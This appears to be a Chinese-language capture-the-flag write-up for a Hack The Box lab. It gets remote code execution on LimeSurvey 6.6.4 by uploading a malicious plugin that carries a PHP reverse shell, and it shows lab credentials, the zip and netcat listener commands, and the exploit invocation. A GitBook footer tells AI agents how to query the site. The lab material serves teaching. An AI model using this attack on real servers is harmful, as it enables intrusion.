> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

## LimeSurvey CMS 漏洞

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/5a1fa3496079b6f7bb9207542c5285fdc10f691e" alt=""><figcaption></figcaption></figure>

#### 管理员区域访问

管理界面可通过以下 URL 访问：

`http://take-survey.heal.htb/index.php/admin`

使用 Ralph 的凭据登录：

* **用户名** : `ralph`
* **密码** : `147258369`

<figure><img src="/files/8e42718ed8a04f12a4c5f5ac446ff9293a2498a7" alt=""><figcaption></figcaption></figure>

LimeSurvey 版本是 **6.6.4**，它存在以下漏洞： **远程代码执行（RCE）**.

<figure><img src="/files/460955f3edead392101e0284d9b111b252e58590" alt="" width="563"><figcaption></figcaption></figure>

### 通过恶意扩展进行 RCE 利用

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

将利用脚本适配到目标环境。

<figure><img src="/files/5e3dd228a7f8c76662e95944ce8a7063863b3a4a" alt=""><figcaption></figcaption></figure>

首先，创建一个包含以下内容的压缩包： `config.xml` 以及一个 PHP 反向 shell：

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/21c346c94c3ce962d1f255a658c534bb75c47224" alt=""><figcaption></figcaption></figure>

然后通过 LimeSurvey Web 界面安装恶意插件。

<figure><img src="/files/fb09da411ebdce2925e56231867565c0195dcb39" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/70b688b26bb218038fe93c675c9f5b52860e6512" alt="" width="501"><figcaption></figcaption></figure>

将鼠标悬停在已安装的插件上以识别插件 ID。

<figure><img src="/files/b34d9828559e9eb0aece8dfb69ef48d445434a52" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/5070aa061a126945a470db5428fe126063e78774" alt="" width="563"><figcaption></figcaption></figure>

使用该 ID 更新脚本后，在 443 端口上启动监听器：

```bash
nc -nlvp 443
```

最后，使用 Python 运行利用脚本：

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/39c3cbdf9c00223fba32d879939d1b7d4068911d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/limesurvey-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.